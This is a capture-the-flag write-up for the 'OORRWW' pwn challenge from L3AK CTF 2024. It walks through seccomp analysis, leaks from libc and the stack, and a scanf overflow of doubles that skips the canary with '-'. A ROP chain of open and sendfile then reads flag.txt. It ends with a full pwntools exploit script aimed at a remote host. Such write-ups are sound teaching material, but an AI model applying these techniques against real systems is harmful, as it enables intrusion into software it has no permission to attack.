F0ndueSav0yarde

L3AK CTF 2024 - OORRWW

Category : PWN

Phreaks 2600

You can find this writeup at Phreaks 2600 website

Pwninit and checksec

The orrww binary is given with older version of libc.so.6.
I used pwninit to patch the binary with patchelf to use the correct RPATH and linker for the provided libc :

checksec

As you can see, all protection are activated.
I have no information about ASLR so I assume it is enabled on the remote machine.

Decompilation with Ghidra

I decompiled main() function with Ghidra :

ghidra_decompile_1

The first thing interesting here is sandbox() function :

ghidra_decompile_2

There is a seccomp sandbox that i need to bypass.

Seccomp-BPF analysis

It is possible to dump seccomp-BPF rules using seccomp-tools :

seccomp

execve and execveat syscall are forbidden. There are at least two ways to bypass these rules and read flag.txt file :

Leaks

The second thing interesting from main() function is gift() function :

gift

It leaks the address of __isoc99_scanf() from LIBC and param_1, which is the address of the buffer where data will be written in the stack.
It will be useful.

So, where’s the vulnerability ?

Vulnerability

Here, in main() function :

vuln

The program asks the user to write 22 doubles inside a buffer of 152 bytes. However, a double is 8 bytes-long and

buffer + (i << 3) = buffer + (i * 8)

i variable has a maximum value of 21. It is then possible to write doubles value from buffer[0] to buffer[21] :

index offset overflow ? stack
buffer[0] buffer + 0 no buffer
buffer[1] buffer + 8 no buffer
buffer[2] buffer + 16 no buffer
buffer[18] buffer + 144 no buffer
buffer[19] buffer + 152 yes canary
buffer[20] buffer + 160 yes RBP
buffer[21] buffer + 168 yes RET

To recap, there is a stack-based buffer overflow where I can rewrite the canary value, RBP and RET value.
I can only control 176 bytes in the stack (22 floating point values).

Strategy

I have two leaks : &buffer and __isoc99_scanf@GOT. I can do LIBC leak and use LIBC gadgets to craft my ROPchain.

0x0000000000045eb0 : pop rax ; ret
0x000000000002a3e5 : pop rdi ; ret
0x000000000002be51 : pop rsi ; ret
0x00000000000904a9 : pop rdx ; pop rbx ; ret
0x000000000003d1ee : pop rcx ; ret
0x0000000000091316 : syscall ; ret

I can bypass seccomp rules with : open -> sendfile

But how can I bypass the canary value ?
No leak for this, but It is possible to not overwrite data with “%lf” floating point specifier from scanf() using “-” character !
It will do nothing and the execution will continue.

Here is my final strategy :

strategy

pop rax     ; SYS_OPEN -> 2
ret
pop rdi     ; &"flag.txt\0" -> address of buffer leaked by gift()
ret
pop rsi     ; O_RDONLY -> 2
ret
syscall     ; open("flag.txt",O_RDONLY);
ret
pop rdi         ; 3 (I assume this is the next file descriptor)
ret
pop rsi         ; stdout -> 1
ret
pop rdx         ; offset = 0
ret
pop rbx         ; Gadget I found with RDX -> junk value
ret
pop rcx         ; 0x50 -> 80 bytes -> any big value for flag
ret
sendfile@LIBC   ; address of sendfile from LIBC (using LIBC leak) 
                ; sendfile(3,1,0,80);

Payload

Here is the final payload :

 11
 2# ===============================================[ Module Imports ]===============================================
 3from pwn import *
 4from decimal import Decimal
 5import struct
 6
 7# =====================================[ Load ELF binary and start process ]======================================
 8elf = ELF("./oorrww_patched",checksec=False)
 9libc = ELF("libc.so.6",checksec=False)
10io = remote("193.148.168.30", 7666)
11#io = process([elf.path],env={"LD_PRELOAD": libc.path})
12
13# ===================================================[ Leaks ]====================================================
14leaks = io.recvline().decode("utf-8")
15buffer_leak = struct.pack('<d',Decimal(leaks.split(' ')[5]))
16scanf_leak = struct.pack('<d',Decimal(leaks.split(' ')[6].replace('!','')))
17
18print("[+] Leak : __isoc99_scanf @ "+hex(int.from_bytes(scanf_leak[::-1])))
19print("[+] Leak : buffer         @ "+hex(int.from_bytes(buffer_leak[::-1])))
20print("[+] LIBC base address     @ "+hex(int.from_bytes(scanf_leak[::-1])-libc.sym["__isoc99_scanf"]))
21
22# ================================================[ LIBC Gadgets ]================================================
23base = int.from_bytes(scanf_leak[::-1])-libc.sym["__isoc99_scanf"]
24LEAVE_RET = base + 0x000000000004da83
25POP_RAX_RET = base + 0x0000000000045eb0
26POP_RDI_RET = base + 0x000000000002a3e5
27POP_RSI_RET = base + 0x000000000002be51
28POP_RDX_POP_RBX_RET = base + 0x00000000000904a9
29POP_RCX_RET = base + 0x000000000003d1ee
30SYSCALL_RET = base + 0x0000000000091316
31
32# ==================================================[ Functions ]=================================================
33def int2double(x):
34    return struct.unpack('d',p64(x))[0]
35
36def double2bytes(x):
37    return str(x).encode("utf-8")
38
39def int2bytes(x):
40    return double2bytes(int2double(x))
41
42def bytes2doublebytes(x):
43    return double2bytes(struct.unpack('d',x)[0])
44
45# ===================================================[ Payload ]==================================================
46payload = [         bytes2doublebytes(b"flag.txt"), # "flag.txt"
47                                        int2bytes(0), # "\0" for the end of "flag.txt"
48                            int2bytes(POP_RAX_RET), # RAX = 2
49                                        int2bytes(2),
50                            int2bytes(POP_RDI_RET), # RDI = buffer -> &"flag.txt\0" 
51                    bytes2doublebytes(buffer_leak),
52                            int2bytes(POP_RSI_RET), # RSI = O_RDONLY -> 2
53                                        int2bytes(2),
54                            int2bytes(SYSCALL_RET), # open("flag.txt\0",O_RDONLY);
55                            int2bytes(POP_RDI_RET), # RDI = 1 -> stdout
56                                        int2bytes(2), 
57                            int2bytes(POP_RSI_RET), # RSI = 3 (I assume it is the file descriptor of opened file)
58                                        int2bytes(3), 
59                    int2bytes(POP_RDX_POP_RBX_RET), # RDX = 0 -> offset
60                                                    # RBX = 0 (junk)
61                                        int2bytes(0), 
62                                        int2bytes(0), 
63                            int2bytes(POP_RCX_RET), # RCX = 0x50 
64                                    int2bytes(0x50),
65            int2bytes(base + libc.sym["sendfile"]), # sendfile(1,3,0,0x50);                  
66                                                b"-", # Canary bypass
67                        int2bytes(u64(buffer_leak)+8), # RBP = (buffer + 8) 
68                                int2bytes(LEAVE_RET) # Stack pivoting : RSP = (buffer + 16) and RIP = RSP
69]
70
71# =====================================================[ Flag ]===================================================
72for i in payload:
73    io.sendline(i)
74    io.recvline()
75
76print(b"FLAG : "+io.recv(2048))